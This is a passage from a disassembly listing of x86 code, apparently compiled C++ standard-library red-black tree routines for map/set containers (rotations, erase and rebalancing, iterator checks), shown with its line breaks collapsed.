loc_40A7FD mov [edx+4], ecx loc_40A7FD: ; CODE XREF: sub_40A7EA+Ej mov edx, [ecx+4] mov [eax+4], edx mov edx, [esp+arg_0] mov edx, [edx+4] cmp ecx, [edx+4] jnz short loc_40A814 mov [edx+4], eax jmp short loc_40A822 ; --------------------------------------------------------------------------- loc_40A814: ; CODE XREF: sub_40A7EA+23j mov edx, [ecx+4] cmp ecx, [edx] jnz short loc_40A81F mov [edx], eax jmp short loc_40A822 ; --------------------------------------------------------------------------- loc_40A81F: ; CODE XREF: sub_40A7EA+2Fj mov [edx+8], eax loc_40A822: ; CODE XREF: sub_40A7EA+28j ; sub_40A7EA+33j mov [eax], ecx mov [ecx+4], eax retn 4 sub_40A7EA endp ; =============== S U B R O U T I N E ======================================= sub_40A82A proc near ; CODE XREF: sub_409C73+D5p ; sub_409C73+103p ... arg_0 = dword ptr 4 mov eax, [ecx] mov edx, [eax+8] mov [ecx], edx mov edx, [eax+8] cmp byte ptr [edx+39h], 0 jnz short loc_40A83D mov [edx+4], ecx loc_40A83D: ; CODE XREF: sub_40A82A+Ej mov edx, [ecx+4] mov [eax+4], edx mov edx, [esp+arg_0] mov edx, [edx+4] cmp ecx, [edx+4] jnz short loc_40A854 mov [edx+4], eax jmp short loc_40A863 ; --------------------------------------------------------------------------- loc_40A854: ; CODE XREF: sub_40A82A+23j mov edx, [ecx+4] cmp ecx, [edx+8] jnz short loc_40A861 mov [edx+8], eax jmp short loc_40A863 ; --------------------------------------------------------------------------- loc_40A861: ; CODE XREF: sub_40A82A+30j mov [edx], eax loc_40A863: ; CODE XREF: sub_40A82A+28j ; sub_40A82A+35j mov [eax+8], ecx mov [ecx+4], eax retn 4 sub_40A82A endp ; =============== S U B R O U T I N E ======================================= sub_40A86C proc near ; CODE XREF: sub_409C73+55p mov eax, offset loc_41B34D call sub_41AE44 push ecx push ecx push ebx push esi push edi mov [ebp-10h], esp push 3Ch call sub_40DE68 mov esi, eax pop ecx mov [ebp-14h], esi test esi, esi mov dword ptr [ebp-4], 1 jz short loc_40A8A7 push dword ptr [ebp+10h] mov ebx, [ebp+14h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40B025 loc_40A8A7: ; CODE XREF: sub_40A86C+28j mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx pop ebx leave retn 10h sub_40A86C endp ; =============== S U B R O U T I N E ======================================= sub_40A8BA proc near ; DATA XREF: .vty:00420DECo push dword ptr [ebp-14h] call sub_40DD8A pop ecx push 0 push 0 call sub_4107BC int 3 ; Trap to Debugger sub_40A8BA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40A8CD proc near ; CODE XREF: sub_409ACC+C5p ; sub_40A44B+8Bp push ebx xor ebx, ebx cmp [esi], ebx jnz short loc_40A8D9 call sub_40DCFC loc_40A8D9: ; CODE XREF: sub_40A8CD+5j mov eax, [esi+4] cmp [eax+45h], bl jz short loc_40A8EE mov eax, [eax+8] mov [esi+4], eax cmp [eax+45h], bl jz short loc_40A92A jmp short loc_40A920 ; --------------------------------------------------------------------------- loc_40A8EE: ; CODE XREF: sub_40A8CD+12j mov ecx, [eax] cmp [ecx+45h], bl jnz short loc_40A910 jmp short loc_40A8F9 ; --------------------------------------------------------------------------- loc_40A8F7: ; CODE XREF: sub_40A8CD+32j mov ecx, eax loc_40A8F9: ; CODE XREF: sub_40A8CD+28j mov eax, [ecx+8] cmp [eax+45h], bl jz short loc_40A8F7 mov [esi+4], ecx jmp short loc_40A92A ; --------------------------------------------------------------------------- loc_40A906: ; CODE XREF: sub_40A8CD+49j mov ecx, [esi+4] cmp ecx, [eax] jnz short loc_40A918 mov [esi+4], eax loc_40A910: ; CODE XREF: sub_40A8CD+26j mov eax, [eax+4] cmp [eax+45h], bl jz short loc_40A906 loc_40A918: ; CODE XREF: sub_40A8CD+3Ej mov ecx, [esi+4] cmp [ecx+45h], bl jz short loc_40A927 loc_40A920: ; CODE XREF: sub_40A8CD+1Fj call sub_40DCFC jmp short loc_40A92A ; --------------------------------------------------------------------------- loc_40A927: ; CODE XREF: sub_40A8CD+51j mov [esi+4], eax loc_40A92A: ; CODE XREF: sub_40A8CD+1Dj ; sub_40A8CD+37j ... mov eax, esi pop ebx retn sub_40A8CD endp ; =============== S U B R O U T I N E ======================================= sub_40A92E proc near ; CODE XREF: sub_40A50C+82p mov eax, offset loc_41AFA6 call sub_41AE44 sub esp, 48h push ebx push esi push edi mov edi, [ebp+14h] cmp byte ptr [edi+45h], 0 jz short loc_40A979 push offset aInvalidMapSetT ; "invalid map/set<T> iterator" lea ecx, [ebp-2Ch] call sub_401C44 and dword ptr [ebp-4], 0 lea eax, [ebp-2Ch] push eax lea ecx, [ebp-54h] call sub_401869 push offset dword_41FF68 lea eax, [ebp-54h] push eax mov dword ptr [ebp-54h], offset off_41C2B4 call sub_4107BC loc_40A979: ; CODE XREF: sub_40A92E+17j lea esi, [ebp+10h] call sub_409852 mov ecx, [edi] cmp byte ptr [ecx+45h], 0 jz short loc_40A98E mov ebx, [edi+8] jmp short loc_40A9A5 ; --------------------------------------------------------------------------- loc_40A98E: ; CODE XREF: sub_40A92E+59j mov eax, [edi+8] cmp byte ptr [eax+45h], 0 jz short loc_40A99B mov ebx, ecx jmp short loc_40A9A5 ; --------------------------------------------------------------------------- loc_40A99B: ; CODE XREF: sub_40A92E+67j mov eax, [ebp+14h] cmp eax, edi mov ebx, [eax+8] jnz short loc_40AA1B loc_40A9A5: ; CODE XREF: sub_40A92E+5Ej ; sub_40A92E+6Bj cmp byte ptr [ebx+45h], 0 mov esi, [edi+4] jnz short loc_40A9B1 mov [ebx+4], esi loc_40A9B1: ; CODE XREF: sub_40A92E+7Ej mov ecx, [ebp+8] mov eax, [ecx+4] cmp [eax+4], edi jnz short loc_40A9C1 mov [eax+4], ebx jmp short loc_40A9CC ; --------------------------------------------------------------------------- loc_40A9C1: ; CODE XREF: sub_40A92E+8Cj cmp [esi], edi jnz short loc_40A9C9 mov [esi], ebx jmp short loc_40A9CC ; --------------------------------------------------------------------------- loc_40A9C9: ; CODE XREF: sub_40A92E+95j mov [esi+8], ebx loc_40A9CC: ; CODE XREF: sub_40A92E+91j ; sub_40A92E+99j mov edx, [ecx+4] cmp [edx], edi jnz short loc_40A9EF cmp byte ptr [ebx+45h], 0 jz short loc_40A9DD mov ecx, esi jmp short loc_40A9ED ; --------------------------------------------------------------------------- loc_40A9DD: ; CODE XREF: sub_40A92E+A9j mov eax, [ebx] mov ecx, ebx jmp short loc_40A9E7 ; --------------------------------------------------------------------------- loc_40A9E3: ; CODE XREF: sub_40A92E+BDj mov ecx, eax mov eax, [ecx] loc_40A9E7: ; CODE XREF: sub_40A92E+B3j cmp byte ptr [eax+45h], 0 jz short loc_40A9E3 loc_40A9ED: ; CODE XREF: sub_40A92E+ADj mov [edx], ecx loc_40A9EF: ; CODE XREF: sub_40A92E+A3j mov eax, [ebp+8] mov edx, [eax+4] cmp [edx+8], edi jnz short loc_40AA75 cmp byte ptr [ebx+45h], 0 jz short loc_40AA04 mov ecx, esi jmp short loc_40AA16 ; --------------------------------------------------------------------------- loc_40AA04: ; CODE XREF: sub_40A92E+D0j mov eax, [ebx+8] mov ecx, ebx jmp short loc_40AA10 ; --------------------------------------------------------------------------- loc_40AA0B: ; CODE XREF: sub_40A92E+E6j mov ecx, eax mov eax, [ecx+8] loc_40AA10: ; CODE XREF: sub_40A92E+DBj cmp byte ptr [eax+45h], 0 jz short loc_40AA0B loc_40AA16: ; CODE XREF: sub_40A92E+D4j mov [edx+8], ecx jmp short loc_40AA75 ; --------------------------------------------------------------------------- loc_40AA1B: ; CODE XREF: sub_40A92E+75j mov [ecx+4], eax mov ecx, [edi] mov [eax], ecx cmp eax, [edi+8] jnz short loc_40AA2B mov esi, eax jmp short loc_40AA45 ; --------------------------------------------------------------------------- loc_40AA2B: ; CODE XREF: sub_40A92E+F7j cmp byte ptr [ebx+45h], 0 mov esi, [eax+4] jnz short loc_40AA37 mov [ebx+4], esi loc_40AA37: ; CODE XREF: sub_40A92E+104j mov [esi], ebx mov ecx, [edi+8] mov [eax+8], ecx mov ecx, [edi+8] mov [ecx+4], eax loc_40AA45: ; CODE XREF: sub_40A92E+FBj mov ecx, [ebp+8] mov ecx, [ecx+4] cmp [ecx+4], edi jnz short loc_40AA55 mov [ecx+4], eax jmp short loc_40AA63 ; --------------------------------------------------------------------------- loc_40AA55: ; CODE XREF: sub_40A92E+120j mov ecx, [edi+4] cmp [ecx], edi jnz short loc_40AA60 mov [ecx], eax jmp short loc_40AA63 ; --------------------------------------------------------------------------- loc_40AA60: ; CODE XREF: sub_40A92E+12Cj mov [ecx+8], eax loc_40AA63: ; CODE XREF: sub_40A92E+125j ; sub_40A92E+130j mov ecx, [edi+4] mov [eax+4], ecx mov dl, [edi+44h] mov cl, [eax+44h] mov [eax+44h], dl mov [edi+44h], cl loc_40AA75: ; CODE XREF: sub_40A92E+CAj ; sub_40A92E+EBj cmp byte ptr [edi+44h], 1 jnz loc_40AB91 jmp loc_40AB45 ; --------------------------------------------------------------------------- loc_40AA84: ; CODE XREF: sub_40A92E+220j cmp byte ptr [ebx+44h], 1 jnz loc_40AB8D mov ecx, [esi] cmp ebx, ecx jnz short loc_40AB0B mov ecx, [esi+8] cmp byte ptr [ecx+44h], 0 jnz short loc_40AAB2 push dword ptr [ebp+8] mov byte ptr [ecx+44h], 1 mov ecx, esi mov byte ptr [esi+44h], 0 call sub_40ABDF mov ecx, [esi+8] loc_40AAB2: ; CODE XREF: sub_40A92E+16Dj cmp byte ptr [ecx+45h], 0 jnz loc_40AB40 mov eax, [ecx] cmp byte ptr [eax+44h], 1 jnz short loc_40AACD mov eax, [ecx+8] cmp byte ptr [eax+44h], 1 jz short loc_40AB3C loc_40AACD: ; CODE XREF: sub_40A92E+194j mov eax, [ecx+8] cmp byte ptr [eax+44h], 1 jnz short loc_40AAEB mov eax, [ecx] push dword ptr [ebp+8] mov byte ptr [eax+44h], 1 mov byte ptr [ecx+44h], 0 call sub_40AC1F mov ecx, [esi+8] loc_40AAEB: ; CODE XREF: sub_40A92E+1A6j mov al, [esi+44h] push dword ptr [ebp+8] mov [ecx+44h], al mov byte ptr [esi+44h], 1 mov eax, [ecx+8] mov ecx, esi mov byte ptr [eax+44h], 1 call sub_40ABDF jmp loc_40AB8D ; --------------------------------------------------------------------------- loc_40AB0B: ; CODE XREF: sub_40A92E+164j cmp byte ptr [ecx+44h], 0 jnz short loc_40AB25 push dword ptr [ebp+8] mov byte ptr [ecx+44h], 1 mov ecx, esi mov byte ptr [esi+44h], 0 call sub_40AC1F mov ecx, [esi] loc_40AB25: ; CODE XREF: sub_40A92E+1E1j cmp byte ptr [ecx+45h], 0 jnz short loc_40AB40 mov eax, [ecx+8] cmp byte ptr [eax+44h], 1 jnz short loc_40AB56 mov eax, [ecx] cmp byte ptr [eax+44h], 1 jnz short loc_40AB56 loc_40AB3C: ; CODE XREF: sub_40A92E+19Dj mov byte ptr [ecx+44h], 0 loc_40AB40: ; CODE XREF: sub_40A92E+188j ; sub_40A92E+1FBj mov ebx, esi mov esi, [esi+4] loc_40AB45: ; CODE XREF: sub_40A92E+151j mov eax, [ebp+8] mov eax, [eax+4] cmp ebx, [eax+4] jnz loc_40AA84 jmp short loc_40AB8D ; --------------------------------------------------------------------------- loc_40AB56: ; CODE XREF: sub_40A92E+204j ; sub_40A92E+20Cj mov eax, [ecx] cmp byte ptr [eax+44h], 1 jnz short loc_40AB73 mov eax, [ecx+8] push dword ptr [ebp+8] mov byte ptr [eax+44h], 1 mov byte ptr [ecx+44h], 0 call sub_40ABDF mov ecx, [esi] loc_40AB73: ; CODE XREF: sub_40A92E+22Ej mov al, [esi+44h] push dword ptr [ebp+8] mov [ecx+44h], al mov byte ptr [esi+44h], 1 mov eax, [ecx] mov ecx, esi mov byte ptr [eax+44h], 1 call sub_40AC1F loc_40AB8D: ; CODE XREF: sub_40A92E+15Aj ; sub_40A92E+1D8j ... mov byte ptr [ebx+44h], 1 loc_40AB91: ; CODE XREF: sub_40A92E+14Bj push 0 lea esi, [edi+0Ch] push 1 lea ecx, [esi+1Ch] call sub_4013C4 push 0 push 1 mov ecx, esi call sub_4013C4 push edi call sub_40DD8A pop ecx mov ecx, [ebp+8] mov eax, [ecx+8] test eax, eax jbe short loc_40ABC0 dec eax mov [ecx+8], eax loc_40ABC0: ; CODE XREF: sub_40A92E+28Cj mov ecx, [ebp+10h] mov eax, [ebp+0Ch] mov [eax], ecx mov ecx, [ebp+14h] pop edi mov [eax+4], ecx mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx pop ebx leave retn 10h sub_40A92E endp ; =============== S U B R O U T I N E ======================================= sub_40ABDF proc near ; CODE XREF: sub_40A5B6+B8p ; sub_40A5B6+120p ... arg_0 = dword ptr 4 mov eax, [ecx+8] mov edx, [eax] mov [ecx+8], edx mov edx, [eax] cmp byte ptr [edx+45h], 0 jnz short loc_40ABF2 mov [edx+4], ecx loc_40ABF2: ; CODE XREF: sub_40ABDF+Ej mov edx, [ecx+4] mov [eax+4], edx mov edx, [esp+arg_0] mov edx, [edx+4] cmp ecx, [edx+4] jnz short loc_40AC09 mov [edx+4], eax jmp short loc_40AC17 ; --------------------------------------------------------------------------- loc_40AC09: ; CODE XREF: sub_40ABDF+23j mov edx, [ecx+4] cmp ecx, [edx] jnz short loc_40AC14 mov [edx], eax jmp short loc_40AC17 ; --------------------------------------------------------------------------- loc_40AC14: ; CODE XREF: sub_40ABDF+2Fj mov [edx+8], eax loc_40AC17: ; CODE XREF: sub_40ABDF+28j ; sub_40ABDF+33j mov [eax], ecx mov [ecx+4], eax retn 4 sub_40ABDF endp ; =============== S U B R O U T I N E ======================================= sub_40AC1F proc near ; CODE XREF: sub_40A5B6+D5p ; sub_40A5B6+103p ... arg_0 = dword ptr 4 mov eax, [ecx] mov edx, [eax+8] mov [ecx], edx mov edx, [eax+8] cmp byte ptr [edx+45h], 0 jnz short loc_40AC32 mov [edx+4], ecx loc_40AC32: ; CODE XREF: sub_40AC1F+Ej mov edx, [ecx+4] mov [eax+4], edx mov edx, [esp+arg_0] mov edx, [edx+4] cmp ecx, [edx+4] jnz short loc_40AC49 mov [edx+4], eax jmp short loc_40AC58 ; --------------------------------------------------------------------------- loc_40AC49: ; CODE XREF: sub_40AC1F+23j mov edx, [ecx+4] cmp ecx, [edx+8] jnz short loc_40AC56 mov [edx+8], eax jmp short loc_40AC58 ; --------------------------------------------------------------------------- loc_40AC56: ; CODE XREF: sub_40AC1F+30j mov [edx], eax loc_40AC58: ; CODE XREF: sub_40AC1F+28j ; sub_40AC1F+35j mov [eax+8], ecx mov [ecx+4], eax retn 4 sub_40AC1F endp ; =============== S U B R O U T I N E ======================================= sub_40AC61 proc near ; CODE XREF: sub_408593+13p push 48h call sub_40DE68 xor edx, edx cmp eax, edx pop ecx jz short loc_40AC71 mov [eax], edx loc_40AC71: ; CODE XREF: sub_40AC61+Cj lea ecx, [eax+4] cmp ecx, edx jz short loc_40AC7A mov [ecx], edx loc_40AC7A: ; CODE XREF: sub_40AC61+15j lea ecx, [eax+8] cmp ecx, edx jz short loc_40AC83 mov [ecx], edx loc_40AC83: ; CODE XREF: sub_40AC61+1Ej mov byte ptr [eax+44h], 1 mov [eax+45h], dl retn sub_40AC61 endp ; =============== S U B R O U T I N E ======================================= sub_40AC8B proc near ; CODE XREF: sub_40A5B6+55p mov eax, offset loc_41AEC2 call sub_41AE44 push ecx push ecx push ebx push esi push edi mov [ebp-10h], esp push 48h call sub_40DE68 mov esi, eax pop ecx mov [ebp-14h], esi test esi, esi mov dword ptr [ebp-4], 1 jz short loc_40ACC6 push dword ptr [ebp+10h] mov ecx, [ebp+14h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40B168 loc_40ACC6: ; CODE XREF: sub_40AC8B+28j mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx pop ebx leave retn 10h sub_40AC8B endp ; =============== S U B R O U T I N E ======================================= sub_40ACD9 proc near ; DATA XREF: .vty:00420054o push dword ptr [ebp-14h] call sub_40DD8A pop ecx push 0 push 0 call sub_4107BC int 3 ; Trap to Debugger sub_40ACD9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40ACEC proc near ; CODE XREF: sub_40A73E+99p mov eax, offset loc_41AFA6 call sub_41AE44 sub esp, 48h push ebx push esi push edi mov edi, [ebp+14h] cmp byte ptr [edi+39h], 0 jz short loc_40AD37 push offset aInvalidMapSetT ; "invalid map/set<T> iterator" lea ecx, [ebp-2Ch] call sub_401C44 and dword ptr [ebp-4], 0 lea eax, [ebp-2Ch] push eax lea ecx, [ebp-54h] call sub_401869 push offset dword_41FF68 lea eax, [ebp-54h] push eax mov dword ptr [ebp-54h], offset off_41C2B4 call sub_4107BC loc_40AD37: ; CODE XREF: sub_40ACEC+17j lea esi, [ebp+10h] call sub_40B11B mov ecx, [edi] cmp byte ptr [ecx+39h], 0 jz short loc_40AD4C mov ebx, [edi+8] jmp short loc_40AD63 ; --------------------------------------------------------------------------- loc_40AD4C: ; CODE XREF: sub_40ACEC+59j mov eax, [edi+8] cmp byte ptr [eax+39h], 0 jz short loc_40AD59 mov ebx, ecx jmp short loc_40AD63 ; --------------------------------------------------------------------------- loc_40AD59: ; CODE XREF: sub_40ACEC+67j mov eax, [ebp+14h] cmp eax, edi mov ebx, [eax+8] jnz short loc_40ADD9 loc_40AD63: ; CODE XREF: sub_40ACEC+5Ej ; sub_40ACEC+6Bj cmp byte ptr [ebx+39h], 0 mov esi, [edi+4] jnz short loc_40AD6F mov [ebx+4], esi loc_40AD6F: ; CODE XREF: sub_40ACEC+7Ej mov ecx, [ebp+8] mov eax, [ecx+4] cmp [eax+4], edi jnz short loc_40AD7F mov [eax+4], ebx jmp short loc_40AD8A ; --------------------------------------------------------------------------- loc_40AD7F: ; CODE XREF: sub_40ACEC+8Cj cmp [esi], edi jnz short loc_40AD87 mov [esi], ebx jmp short loc_40AD8A ; --------------------------------------------------------------------------- loc_40AD87: ; CODE XREF: sub_40ACEC+95j mov [esi+8], ebx loc_40AD8A: ; CODE XREF: sub_40ACEC+91j ; sub_40ACEC+99j mov edx, [ecx+4] cmp [edx], edi jnz short loc_40ADAD cmp byte ptr [ebx+39h], 0 jz short loc_40AD9B mov ecx, esi jmp short loc_40ADAB ; --------------------------------------------------------------------------- loc_40AD9B: ; CODE XREF: sub_40ACEC+A9j mov eax, [ebx] mov ecx, ebx jmp short loc_40ADA5 ; --------------------------------------------------------------------------- loc_40ADA1: ; CODE XREF: sub_40ACEC+BDj mov ecx, eax mov eax, [ecx] loc_40ADA5: ; CODE XREF: sub_40ACEC+B3j cmp byte ptr [eax+39h], 0 jz short loc_40ADA1 loc_40ADAB: ; CODE XREF: sub_40ACEC+ADj mov [edx], ecx loc_40ADAD: ; CODE XREF: sub_40ACEC+A3j mov eax, [ebp+8] mov edx, [eax+4] cmp [edx+8], edi jnz short loc_40AE33 cmp byte ptr [ebx+39h], 0 jz short loc_40ADC2 mov ecx, esi jmp short loc_40ADD4 ; --------------------------------------------------------------------------- loc_40ADC2: ; CODE XREF: sub_40ACEC+D0j mov eax, [ebx+8] mov ecx, ebx jmp short loc_40ADCE ; --------------------------------------------------------------------------- loc_40ADC9: ; CODE XREF: sub_40ACEC+E6j mov ecx, eax mov eax, [ecx+8] loc_40ADCE: ; CODE XREF: sub_40ACEC+DBj cmp byte ptr [eax+39h], 0 jz short loc_40ADC9 loc_40ADD4: ; CODE XREF: sub_40ACEC+D4j mov [edx+8], ecx jmp short loc_40AE33 ; --------------------------------------------------------------------------- loc_40ADD9: ; CODE XREF: sub_40ACEC+75j mov [ecx+4], eax mov ecx, [edi] mov [eax], ecx cmp eax, [edi+8] jnz short loc_40ADE9 mov esi, eax jmp short loc_40AE03 ; --------------------------------------------------------------------------- loc_40ADE9: ; CODE XREF: sub_40ACEC+F7j cmp byte ptr [ebx+39h], 0 mov esi, [eax+4] jnz short loc_40ADF5 mov [ebx+4], esi loc_40ADF5: ; CODE XREF: sub_40ACEC+104j mov [esi], ebx mov ecx, [edi+8] mov [eax+8], ecx mov ecx, [edi+8] mov [ecx+4], eax loc_40AE03: ; CODE XREF: sub_40ACEC+FBj mov ecx, [ebp+8] mov ecx, [ecx+4] cmp [ecx+4], edi jnz short loc_40AE13 mov [ecx+4], eax jmp short loc_40AE21 ; --------------------------------------------------------------------------- loc_40AE13: ; CODE XREF: sub_40ACEC+120j mov ecx, [edi+4] cmp [ecx], edi jnz short loc_40AE1E mov [ecx], eax jmp short loc_40AE21 ; --------------------------------------------------------------------------- loc_40AE1E: ; CODE XREF: sub_40ACEC+12Cj mov [ecx+8], eax loc_40AE21: ; CODE XREF: sub_40ACEC+125j ; sub_40ACEC+130j mov ecx, [edi+4] mov [eax+4], ecx mov dl, [edi+38h] mov cl, [eax+38h] mov [eax+38h], dl mov [edi+38h], cl loc_40AE33: ; CODE XREF: sub_40ACEC+CAj ; sub_40ACEC+EBj cmp byte ptr [edi+38h], 1 jnz loc_40AF4F jmp loc_40AF03 ; --------------------------------------------------------------------------- loc_40AE42: ; CODE XREF: sub_40ACEC+220j cmp byte ptr [ebx+38h], 1 jnz loc_40AF4B mov ecx, [esi] cmp ebx, ecx jnz short loc_40AEC9 mov ecx, [esi+8] cmp byte ptr [ecx+38h], 0 jnz short loc_40AE70 push dword ptr [ebp+8] mov byte ptr [ecx+38h], 1 mov ecx, esi mov byte ptr [esi+38h], 0 call sub_40A7EA mov ecx, [esi+8] loc_40AE70: ; CODE XREF: sub_40ACEC+16Dj cmp byte ptr [ecx+39h], 0 jnz loc_40AEFE mov eax, [ecx] cmp byte ptr [eax+38h], 1 jnz short loc_40AE8B mov eax, [ecx+8] cmp byte ptr [eax+38h], 1 jz short loc_40AEFA loc_40AE8B: ; CODE XREF: sub_40ACEC+194j mov eax, [ecx+8] cmp byte ptr [eax+38h], 1 jnz short loc_40AEA9 mov eax, [ecx] push dword ptr [ebp+8] mov byte ptr [eax+38h], 1 mov byte ptr [ecx+38h], 0 call sub_40A82A mov ecx, [esi+8] loc_40AEA9: ; CODE XREF: sub_40ACEC+1A6j mov al, [esi+38h] push dword ptr [ebp+8] mov [ecx+38h], al mov byte ptr [esi+38h], 1 mov eax, [ecx+8] mov ecx, esi mov byte ptr [eax+38h], 1 call sub_40A7EA jmp loc_40AF4B ; --------------------------------------------------------------------------- loc_40AEC9: ; CODE XREF: sub_40ACEC+164j cmp byte ptr [ecx+38h], 0 jnz short loc_40AEE3 push dword ptr [ebp+8] mov byte ptr [ecx+38h], 1 mov ecx, esi mov byte ptr [esi+38h], 0 call sub_40A82A mov ecx, [esi] loc_40AEE3: ; CODE XREF: sub_40ACEC+1E1j cmp byte ptr [ecx+39h], 0 jnz short loc_40AEFE mov eax, [ecx+8] cmp byte ptr [eax+38h], 1 jnz short loc_40AF14 mov eax, [ecx] cmp byte ptr [eax+38h], 1 jnz short loc_40AF14 loc_40AEFA: ; CODE XREF: sub_40ACEC+19Dj mov byte ptr [ecx+38h], 0 loc_40AEFE: ; CODE XREF: sub_40ACEC+188j ; sub_40ACEC+1FBj mov ebx, esi mov esi, [esi+4] loc_40AF03: ; CODE XREF: sub_40ACEC+151j mov eax, [ebp+8] mov eax, [eax+4] cmp ebx, [eax+4] jnz loc_40AE42 jmp short loc_40AF4B ; --------------------------------------------------------------------------- loc_40AF14: ; CODE XREF: sub_40ACEC+204j ; sub_40ACEC+20Cj mov eax, [ecx] cmp byte ptr [eax+38h], 1 jnz short loc_40AF31 mov eax, [ecx+8] push dword ptr [ebp+8] mov byte ptr [eax+38h], 1 mov byte ptr [ecx+38h], 0 call sub_40A7EA mov ecx, [esi] loc_40AF31: ; CODE XREF: sub_40ACEC+22Ej mov al, [esi+38h] push dword ptr [ebp+8] mov [ecx+38h], al mov byte ptr [esi+38h], 1 mov eax, [ecx] mov ecx, esi mov byte ptr [eax+38h], 1 call sub_40A82A loc_40AF4B: ; CODE XREF: sub_40ACEC+15Aj ; sub_40ACEC+1D8j ... mov byte ptr [ebx+38h], 1 loc_40AF4F: ; CODE XREF: sub_40ACEC+14Bj lea ebx, [edi+0Ch] lea esi, [ebx+1Ch] call sub_405AAC push 0 push 1 mov ecx, ebx call sub_4013C4 push edi call sub_40DD8A pop ecx mov ecx, [ebp+8] mov eax, [ecx+8] test eax, eax jbe short loc_40AF7A dec eax mov [ecx+8], eax loc_40AF7A: ; CODE XREF: sub_40ACEC+288j mov ecx, [ebp+10h] mov eax, [ebp+0Ch] mov [eax], ecx mov ecx, [ebp+14h] pop edi mov [eax+4], ecx mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx pop ebx leave retn 10h sub_40ACEC endp ; =============== S U B R O U T I N E ======================================= sub_40AF99 proc near ; CODE XREF: sub_408593+38p push 3Ch call sub_40DE68 xor edx, edx cmp eax, edx pop ecx jz short loc_40AFA9 mov [eax], edx loc_40AFA9: ; CODE XREF: sub_40AF99+Cj lea ecx, [eax+4] cmp ecx, edx jz short loc_40AFB2 mov [ecx], edx loc_40AFB2: ; CODE XREF: sub_40AF99+15j lea ecx, [eax+8] cmp ecx, edx jz short loc_40AFBB mov [ecx], edx loc_40AFBB: ; CODE XREF: sub_40AF99+1Ej mov byte ptr [eax+38h], 1 mov [eax+39h], dl retn sub_40AF99 endp ; =============== S U B R O U T I N E ======================================= sub_40AFC3 proc near ; CODE XREF: sub_4081BF+352p ; sub_40996D+69p arg_0 = dword ptr 4 cmp dword ptr [edi], 0 jnz short loc_40AFCD call sub_40DCFC loc_40AFCD: ; CODE XREF: sub_40AFC3+3j mov eax, [edi+4] mov ecx, [edi] push esi mov esi, [esp+4+arg_0] imul esi, 2Ch add eax, esi cmp eax, [ecx+8] ja short loc_40AFE6 cmp eax, [ecx+4] jnb short loc_40AFEB loc_40AFE6: ; CODE XREF: sub_40AFC3+1Cj call sub_40DCFC loc_40AFEB: ; CODE XREF: sub_40AFC3+21j add [edi+4], esi mov eax, edi pop esi retn 4 sub_40AFC3 endp ; =============== S U B R O U T I N E ======================================= sub_40AFF4 proc near ; CODE XREF: sub_409A1D+69p ; sub_40C232+22p arg_0 = dword ptr 4 cmp dword ptr [edi], 0 jnz short loc_40AFFE call sub_40DCFC loc_40AFFE: ; CODE XREF: sub_40AFF4+3j mov eax, [edi+4] mov ecx, [edi] push esi mov esi, [esp+4+arg_0] imul esi, 1Ch add eax, esi cmp eax, [ecx+8] ja short loc_40B017 cmp eax, [ecx+4] jnb short loc_40B01C loc_40B017: ; CODE XREF: sub_40AFF4+1Cj call sub_40DCFC loc_40B01C: ; CODE XREF: sub_40AFF4+21j add [edi+4], esi mov eax, edi pop esi retn 4 sub_40AFF4 endp ; =============== S U B R O U T I N E ======================================= sub_40B025 proc near ; CODE XREF: sub_40A86C+36p mov eax, offset loc_41AEF1 call sub_41AE44 push ecx mov eax, [ebp+8] mov [esi], eax mov eax, [ebp+0Ch] push edi mov [esi+4], eax mov eax, [ebp+10h] lea edi, [esi+0Ch] push ebx mov ecx, edi mov [esi+8], eax mov [ebp+8], edi call sub_401C1E and dword ptr [ebp-4], 0 add edi, 1Ch lea ecx, [ebx+1Ch] push edi call sub_4075BC mov ecx, [ebp-0Ch] mov byte ptr [esi+38h], 0 mov byte ptr [esi+39h], 0 mov eax, esi mov large fs:0, ecx pop edi leave retn 0Ch sub_40B025 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B079 proc near ; CODE XREF: sub_40A50C+42p ; sub_40B079+1Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi push edi mov edi, [ebp+arg_0] cmp byte ptr [edi+45h], 0 mov [ebp+var_4], ecx mov esi, edi jnz short loc_40B0C5 push ebx loc_40B08E: ; CODE XREF: sub_40B079+49j push dword ptr [esi+8] mov ecx, [ebp+var_4] call sub_40B079 mov esi, [esi] push 0 lea ebx, [edi+0Ch] push 1 lea ecx, [ebx+1Ch] call sub_4013C4 push 0 push 1 mov ecx, ebx call sub_4013C4 push edi call sub_40DD8A cmp byte ptr [esi+45h], 0 pop ecx mov edi, esi jz short loc_40B08E pop ebx loc_40B0C5: ; CODE XREF: sub_40B079+12j pop edi pop esi leave retn 4 sub_40B079 endp ; =============== S U B R O U T I N E ======================================= sub_40B0CB proc near ; CODE XREF: sub_40A73E+41p ; sub_40B0CB+1Cp var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebp mov ebp, [esp+8+arg_0] cmp byte ptr [ebp+39h], 0 push edi mov [esp+0Ch+var_4], ecx mov edi, ebp jnz short loc_40B115 push ebx push esi loc_40B0E0: ; CODE XREF: sub_40B0CB+46j push dword ptr [edi+8] mov ecx, [esp+18h+var_4] call sub_40B0CB mov edi, [edi] lea ebx, [ebp+0Ch] lea esi, [ebx+1Ch] call sub_405AAC push 0 push 1 mov ecx, ebx call sub_4013C4 push ebp call sub_40DD8A cmp byte ptr [edi+39h], 0 pop ecx mov ebp, edi jz short loc_40B0E0 pop esi pop ebx loc_40B115: ; CODE XREF: sub_40B0CB+11j pop edi pop ebp pop ecx retn 4 sub_40B0CB endp ; =============== S U B R O U T I N E ======================================= sub_40B11B proc near ; CODE XREF: sub_40A73E+89p ; sub_40ACEC+4Ep push ebx xor ebx, ebx cmp [esi], ebx jnz short loc_40B127 call sub_40DCFC loc_40B127: ; CODE XREF: sub_40B11B+5j mov eax, [esi+4] cmp [eax+39h], bl jz short loc_40B136 call sub_40DCFC jmp short loc_40B164 ; --------------------------------------------------------------------------- loc_40B136: ; CODE XREF: sub_40B11B+12j 